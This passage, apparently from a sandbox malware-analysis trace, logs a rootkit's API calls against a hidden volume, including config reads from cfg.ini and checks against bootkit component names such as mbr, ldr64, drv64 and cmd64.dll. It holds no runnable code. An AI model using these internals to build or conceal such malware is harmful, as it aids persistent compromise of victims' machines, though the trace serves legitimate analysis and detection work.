FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.556] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.556] KeLeaveCriticalRegion () [0119.556] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.556] KeEnterCriticalRegion () [0119.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.557] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.557] IdePortDispatch () returned 0x103 [0119.557] KeWaitForMutexObject () returned 0x0 [0119.557] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.557] KeLeaveCriticalRegion () [0119.557] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.557] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.557] KeEnterCriticalRegion () [0119.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.557] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002daa000 [0119.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.557] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.557] IdePortDispatch () returned 0x103 [0119.557] KeWaitForMutexObject () returned 0x0 [0119.557] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.557] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.557] IdePortDispatch () returned 0x103 [0119.558] KeWaitForMutexObject () returned 0x0 [0119.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.558] KeLeaveCriticalRegion () [0119.558] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.558] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.558] KeEnterCriticalRegion () [0119.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.558] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.558] KeLeaveCriticalRegion () [0119.558] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.558] KeEnterCriticalRegion () [0119.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.558] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.558] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.558] KeLeaveCriticalRegion () [0119.558] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.558] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.558] KeEnterCriticalRegion () [0119.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.558] ExFreePoolWithTag (P=0xfffffa8003aa1b00, Tag=0x0) [0119.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.558] KeLeaveCriticalRegion () [0119.558] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.559] ReleaseMutex (hMutex=0xf0) returned 1 [0119.559] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.559] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.559] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.559] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.559] KeEnterCriticalRegion () [0119.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.559] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.559] IdePortDispatch () returned 0x103 [0119.559] KeWaitForMutexObject () returned 0x0 [0119.559] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.559] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.559] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.559] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.559] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.559] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.559] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.559] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.559] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.559] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.559] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.559] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.559] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.559] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.559] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.559] KeLeaveCriticalRegion () [0119.559] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.559] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.559] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.559] KeEnterCriticalRegion () [0119.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.560] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.560] IdePortDispatch () returned 0x103 [0119.560] KeWaitForMutexObject () returned 0x0 [0119.560] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.560] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.560] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.560] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.560] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.560] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.560] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.560] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.560] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.560] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.560] KeLeaveCriticalRegion () [0119.560] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.560] ReleaseMutex (hMutex=0x100) returned 1 [0119.560] Sleep (dwMilliseconds=0x2bf20) [0119.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a77a330, dwHighDateTime=0x1d24fa4)) [0119.566] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.566] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.566] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.567] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.567] KeEnterCriticalRegion () [0119.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.567] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.567] IdePortDispatch () returned 0x103 [0119.567] KeWaitForMutexObject () returned 0x0 [0119.567] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.567] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.567] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.567] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.567] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.567] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1b00 [0119.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.567] KeLeaveCriticalRegion () [0119.567] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.567] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.567] KeEnterCriticalRegion () [0119.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.567] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.567] KeLeaveCriticalRegion () [0119.567] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.567] KeEnterCriticalRegion () [0119.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.567] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.567] IdePortDispatch () returned 0x103 [0119.568] KeWaitForMutexObject () returned 0x0 [0119.568] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.568] KeLeaveCriticalRegion () [0119.568] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.568] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.568] KeEnterCriticalRegion () [0119.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.568] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dad000 [0119.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.568] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.568] IdePortDispatch () returned 0x103 [0119.568] KeWaitForMutexObject () returned 0x0 [0119.568] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.568] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.568] IdePortDispatch () returned 0x103 [0119.568] KeWaitForMutexObject () returned 0x0 [0119.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.568] KeLeaveCriticalRegion () [0119.568] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.569] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.569] KeEnterCriticalRegion () [0119.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.569] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.569] KeLeaveCriticalRegion () [0119.569] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.569] KeEnterCriticalRegion () [0119.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.569] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.569] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.569] KeLeaveCriticalRegion () [0119.569] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.569] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.569] KeEnterCriticalRegion () [0119.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.569] ExFreePoolWithTag (P=0xfffffa8003aa1b00, Tag=0x0) [0119.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.569] KeLeaveCriticalRegion () [0119.569] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.569] ReleaseMutex (hMutex=0xf0) returned 1 [0119.569] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.569] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.569] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.569] KeEnterCriticalRegion () [0119.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.569] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.569] IdePortDispatch () returned 0x103 [0119.570] KeWaitForMutexObject () returned 0x0 [0119.570] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.570] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.570] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.570] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.570] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.570] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d67e0 [0119.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.570] KeLeaveCriticalRegion () [0119.570] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.570] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.570] KeEnterCriticalRegion () [0119.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.570] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.570] KeLeaveCriticalRegion () [0119.570] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.570] KeEnterCriticalRegion () [0119.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.570] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.570] IdePortDispatch () returned 0x103 [0119.570] KeWaitForMutexObject () returned 0x0 [0119.570] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.570] KeLeaveCriticalRegion () [0119.570] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.570] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.571] KeEnterCriticalRegion () [0119.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.571] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dae000 [0119.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.571] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.571] IdePortDispatch () returned 0x103 [0119.571] KeWaitForMutexObject () returned 0x0 [0119.571] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.571] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.571] IdePortDispatch () returned 0x103 [0119.571] KeWaitForMutexObject () returned 0x0 [0119.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.571] KeLeaveCriticalRegion () [0119.571] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.572] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.572] KeEnterCriticalRegion () [0119.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.572] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.572] KeLeaveCriticalRegion () [0119.572] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.572] KeEnterCriticalRegion () [0119.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.572] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.572] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bda540, ProcessId=0xfffffa80034fca60, Context=0x0) returned 